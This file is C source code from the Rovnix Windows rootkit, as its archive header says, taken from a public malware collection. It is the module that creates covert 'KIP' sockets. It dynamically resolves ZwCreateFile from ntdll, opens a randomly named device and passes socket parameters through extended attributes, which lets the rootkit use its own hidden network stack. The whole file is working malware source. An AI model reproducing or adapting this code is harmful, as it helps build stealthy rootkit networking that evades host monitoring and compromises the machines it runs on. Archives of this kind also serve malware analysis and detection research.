/*  name      Rovnix  type      rootkit  cve       —  year      unknown  os        Windows  authors   unknown  source    RamadhanAmizudin/malware  archived  RamadhanAmizudin, krisyotam (2026)  notes     — *///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// KIP user-mode API library//	// module: create.c// $Revision: 93 $// $Date: 2012-06-06 17:17:26 +0400 (Ср, 06 июн 2012) $// description://  Creation of KIP-specific sockets: name socket and connection socket. #include "project.h" typedefNTSTATUS(NTAPI *PZW_CREATE_FILE)(    OUT PHANDLE FileHandle,    IN ACCESS_MASK DesiredAccess,    IN POBJECT_ATTRIBUTES ObjectAttributes,    OUT PIO_STATUS_BLOCK IoStatusBlock,    IN PLARGE_INTEGER AllocationSize,    IN ULONG FileAttributes,    IN ULONG ShareAccess,    IN ULONG CreateDisposition,    IN ULONG CreateOptions,    IN PVOID EaBuffer,    IN ULONG EaLength    ); typedefNTSTATUS(NTAPI *PRTL_INIT_UNICODE_STRING)(    PUNICODE_STRING DestinationString,    PCWSTR SourceString    ); #define	wczDosDeviceTempl	L"\\??\\%s\\"  HANDLE 	CreateSocketNative( 		IN PFILE_FULL_EA_INFORMATION Ea,		IN ULONG EaLength		){	HMODULE hModule;	HANDLE hFile = INVALID_HANDLE_VALUE;	NTSTATUS ntStatus;	OBJECT_ATTRIBUTES ObjectAttributes; 	UNICODE_STRING DeviceName = RTL_CONSTANT_STRING(KIP_DEVICE_NAME);	IO_STATUS_BLOCK IoStatus;	PZW_CREATE_FILE ZwCreateFilePtr;	PRTL_INIT_UNICODE_STRING RtlInitUnicodeStringPtr;	PWSTR	wDeviceName;	hModule = LoadLibrary( TEXT("ntdll.dll") );	if ( hModule == NULL ){		return INVALID_HANDLE_VALUE;	}	wDeviceName = CreateRandomDeviceName(wczDosDeviceTempl, KIP_DEVICE_NAME_SEED);	if (wDeviceName == NULL ){		FreeLibrary( hModule );		return INVALID_HANDLE_VALUE;	} 	ZwCreateFilePtr = (PZW_CREATE_FILE)GetProcAddress(hModule,"ZwCreateFile");	RtlInitUnicodeStringPtr = (PRTL_INIT_UNICODE_STRING)GetProcAddress(hModule,"RtlInitUnicodeString");	if ( ZwCreateFilePtr ){		RtlInitUnicodeStringPtr(&DeviceName, wDeviceName);		InitializeObjectAttributes(			&ObjectAttributes, 			&DeviceName, 			OBJ_CASE_INSENSITIVE, 			0, 0			); 		ntStatus = 			ZwCreateFilePtr(				&hFile,				READ_CONTROL,				&ObjectAttributes,				&IoStatus,				NULL,				FILE_ATTRIBUTE_NORMAL,				0,				FILE_OPEN_IF,0, 				Ea, EaLength				);		if ( ntStatus != STATUS_SUCCESS ){			hFile = INVALID_HANDLE_VALUE;		}	}	FreeRandomDeviceName(wDeviceName);	FreeLibrary( hModule );	return hFile;} HANDLE CreateSocket( int domain, int type, int protocol ){	CHAR Buffer[sizeof(FILE_FULL_EA_INFORMATION) + KIP_SOCKET_NAME_LENGTH + sizeof(KSOCKET_CREATE_PARAMETERS)] = {0};	PFILE_FULL_EA_INFORMATION Ea = (PFILE_FULL_EA_INFORMATION)&Buffer;	PKSOCKET_CREATE_PARAMETERS CreateParams; 	Ea->NextEntryOffset = 0;	Ea->Flags = 0;	Ea->EaNameLength = KIP_SOCKET_NAME_LENGTH;	RtlCopyMemory(Ea->EaName, KipSocketName, KIP_SOCKET_NAME_LENGTH);	Ea->EaValueLength = sizeof(KSOCKET_CREATE_PARAMETERS);	 	CreateParams = (PKSOCKET_CREATE_PARAMETERS)&Ea->EaName[Ea->EaNameLength+1];	CreateParams->Domain = domain; 	CreateParams->Type = type; 	CreateParams->Protocol = protocol;  	return CreateSocketNative(Ea,sizeof(Buffer) );} HANDLE CreateConnectionSocket( int Socket ){	CHAR Buffer[sizeof(FILE_FULL_EA_INFORMATION) + KIP_SOCKET_CONNECTION_LENGTH + sizeof(KSOCKET_CONNECTION_PARAMETERS)] = {0};	PFILE_FULL_EA_INFORMATION Ea = (PFILE_FULL_EA_INFORMATION)&Buffer;	PKSOCKET_CONNECTION_PARAMETERS CreateParams; 	Ea->NextEntryOffset = 0;	Ea->Flags = 0;	Ea->EaNameLength = KIP_SOCKET_CONNECTION_LENGTH;	RtlCopyMemory(Ea->EaName, KipSocketConnection, KIP_SOCKET_CONNECTION_LENGTH);	Ea->EaValueLength = sizeof(KSOCKET_CONNECTION_PARAMETERS);	 	CreateParams = (PKSOCKET_CONNECTION_PARAMETERS)&Ea->EaName[Ea->EaNameLength+1];	CreateParams->Socket = Socket; 	return CreateSocketNative(Ea,sizeof(Buffer));}